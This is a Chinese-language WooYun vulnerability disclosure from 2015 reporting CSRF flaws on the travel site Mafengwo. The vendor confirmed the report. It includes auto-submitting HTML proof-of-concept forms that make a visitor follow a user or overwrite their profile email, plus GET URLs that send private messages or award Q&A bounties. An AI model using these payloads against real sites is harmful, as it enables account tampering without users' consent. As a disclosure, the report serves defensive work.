当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112353

漏洞标题：蚂蜂窝一处关注私聊csrf(问答处一处悬赏csrf)

相关厂商：蚂蜂窝

漏洞作者： 小龙

提交时间：2015-05-06 10:58

修复时间：2015-06-21 10:58

公开时间：2015-06-21 10:58

漏洞类型：CSRF

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-06： 细节已通知厂商并且等待厂商处理中
2015-05-07： 厂商已经确认，细节仅向厂商公开
2015-05-17： 细节向核心白帽子及相关领域专家公开
2015-05-27： 细节向普通白帽子公开
2015-06-06： 细节向实习白帽子公开
2015-06-21： 细节向公众公开

简要描述：

上次提交的洞都没确认。。好无奈。。

详细说明：

问题出在wap.mafengwo.cn
构造一个poc：

<html>
<body>
<form id="csrf" name="csrf" action="http://www.mafengwo.cn/ajax/addfriend.php" method="POST">
<input type="text" name="action" value="addfollow" />
<input type="text" name="touid" value="84222704" />
<input type="submit" value="submit">
</form>
<script>
   document.csrf.submit();
</script>
</body><html>
私信是get请求:<code>http://www.mafengwo.cn/ajax/ajax_send.php?url=%2Fajax%2Fajax_send.php&touid=对方ID&type=msg&content=内容


QQ截图20150506060717.png


123123123.png


问答处恶意悬赏csrf


http://www.mafengwo.cn/qa/dialog.php?action=say_thank&qid=2524328&aid=要采纳的回答ID
纳尼？csrf就是这样关注而已没具体伤害？洞主好无聊。。。
呵呵，你们个人资料也有。。

<html>
<body>
<form id="csrf" name="csrf" action="http://www.mafengwo.cn/home/uaction.php?actionid=1" method="POST">
<input type="text" name="name" value="qwetfuck" />
<input type="text" name="gender" value="1" />
<input type="text" name="city" value="" />
<input type="text" name="a_mail" value="[email protected]" />
<input type="text" name="mobile" value="" />
<input type="text" name="intro" value="qwetfuck" />
<input type="text" name="denyinfomsg" value="" />
<input type="submit" value="submit">
</form>
<script>
   document.csrf.submit();
</script>
</body>


访问
我们用UserB来访问。。
访问前：

1.png


访问后：

2.png


3.png


4.png


可以看到我们修改过的邮件已经入库了，呵呵。危害大不大你们说了算
另外在头像处哪里过滤不全
img标签

5.png


http://z.mafengwo.cn/

6.png


装逼图奉上。。

7.png

漏洞证明：

问题出在wap.mafengwo.cn
构造一个poc：

<html>
<body>
<form id="csrf" name="csrf" action="http://www.mafengwo.cn/ajax/addfriend.php" method="POST">
<input type="text" name="action" value="addfollow" />
<input type="text" name="touid" value="84222704" />
<input type="submit" value="submit">
</form>
<script>
   document.csrf.submit();
</script>
</body><html>
私信是get请求:<code>http://www.mafengwo.cn/ajax/ajax_send.php?url=%2Fajax%2Fajax_send.php&touid=对方ID&type=msg&content=内容


QQ截图20150506060717.png


123123123.png


问答处恶意悬赏csrf


http://www.mafengwo.cn/qa/dialog.php?action=say_thank&qid=2524328&aid=要采纳的回答ID
纳尼？csrf就是这样关注而已没具体伤害？洞主好无聊。。。
呵呵，你们个人资料也有。。

<html>
<body>
<form id="csrf" name="csrf" action="http://www.mafengwo.cn/home/uaction.php?actionid=1" method="POST">
<input type="text" name="name" value="qwetfuck" />
<input type="text" name="gender" value="1" />
<input type="text" name="city" value="" />
<input type="text" name="a_mail" value="[email protected]" />
<input type="text" name="mobile" value="" />
<input type="text" name="intro" value="qwetfuck" />
<input type="text" name="denyinfomsg" value="" />
<input type="submit" value="submit">
</form>
<script>
   document.csrf.submit();
</script>
</body>


访问
我们用UserB来访问。。
访问前：

1.png


访问后：

2.png


3.png


4.png


可以看到我们修改过的邮件已经入库了，呵呵。危害大不大你们说了算
另外在头像处哪里过滤不全
img标签

5.png


http://z.mafengwo.cn/

6.png


装逼图奉上。。

7.png

修复方案：

加token，不要以为xss修复完就OK了，别小看了csrf，蠕虫全靠它。。。

版权声明：转载请注明来源 小龙@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-05-07 10:56

厂商回复：

您好 非常感谢反馈 问题在解决中

最新状态：

暂无